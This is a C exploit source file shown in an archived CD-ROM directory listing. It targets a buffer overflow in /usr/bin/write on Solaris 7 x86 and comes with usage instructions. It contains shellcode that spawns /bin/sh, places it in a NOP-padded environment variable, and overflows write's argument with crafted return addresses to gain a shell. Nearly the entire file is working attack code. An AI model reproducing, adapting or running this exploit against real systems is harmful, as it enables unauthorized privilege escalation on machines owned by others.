home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / write.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  65 lines

  1. #include <stdio.h>
  2. #include <unistd.h>
  3. /*
  4.  
  5.   /usr/bin/write overflow proof of conecpt.
  6.  
  7.   Tested on Solaris 7 x86
  8.  
  9.   Pablo Sor, Buenos Aires, Argentina. 01/2000
  10.   psor@afip.gov.ar
  11.  
  12.   usage: write-exp [shell_offset] [ret_addr_offset]
  13.  
  14.   default offset should work.
  15.  
  16. */
  17. long get_esp() { __asm__("movl %esp,%eax"); }
  18.  
  19. char shell[] =
  20.   "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
  21.   "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
  22.   "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
  23.   "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
  24.   "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
  25.   "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
  26.   "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
  27.   "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
  28.   "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
  29.   "\x73\x68\xff\xff\xff\xff\xff\xff\xff"
  30.   "\xff\xff";
  31.  
  32.   /* shellcode by Cheez Whiz */
  33.  
  34. void main(int argc,char **argv)
  35. {
  36.   FILE *fp;
  37.   long magic,magicret;
  38.   char buf[100],*envi;
  39.   int i;
  40.  
  41.   envi = (char *) malloc(1000*sizeof(char));
  42.   memset(envi,0x90,1000);
  43.   memcpy(envi,"SOR=",4);
  44.   memcpy(envi+980-strlen(shell),shell,strlen(shell));
  45.   envi[1000]=0;
  46.   putenv(envi);
  47.  
  48.   if (argc!=3)
  49.   {
  50.     magicret = get_esp()+116;
  51.     magic = get_esp()-1668;
  52.   }
  53.   else
  54.   {
  55.     magicret = get_esp()+atoi(argv[1]);
  56.     magic = get_esp()+atoi(argv[2]);
  57.   }
  58.  
  59.   memset(buf,0x41,100);
  60.   buf[99]=0;
  61.   memcpy(buf+91,&magic,4);
  62.   for(i=0;i<22;++i) memcpy(buf+(i*4),&magicret,4);
  63.   execl("/usr/bin/write","write","root",buf,(char *)0);
  64. }
  65. /*                   www.hack.co.za  [25 January 2001]*/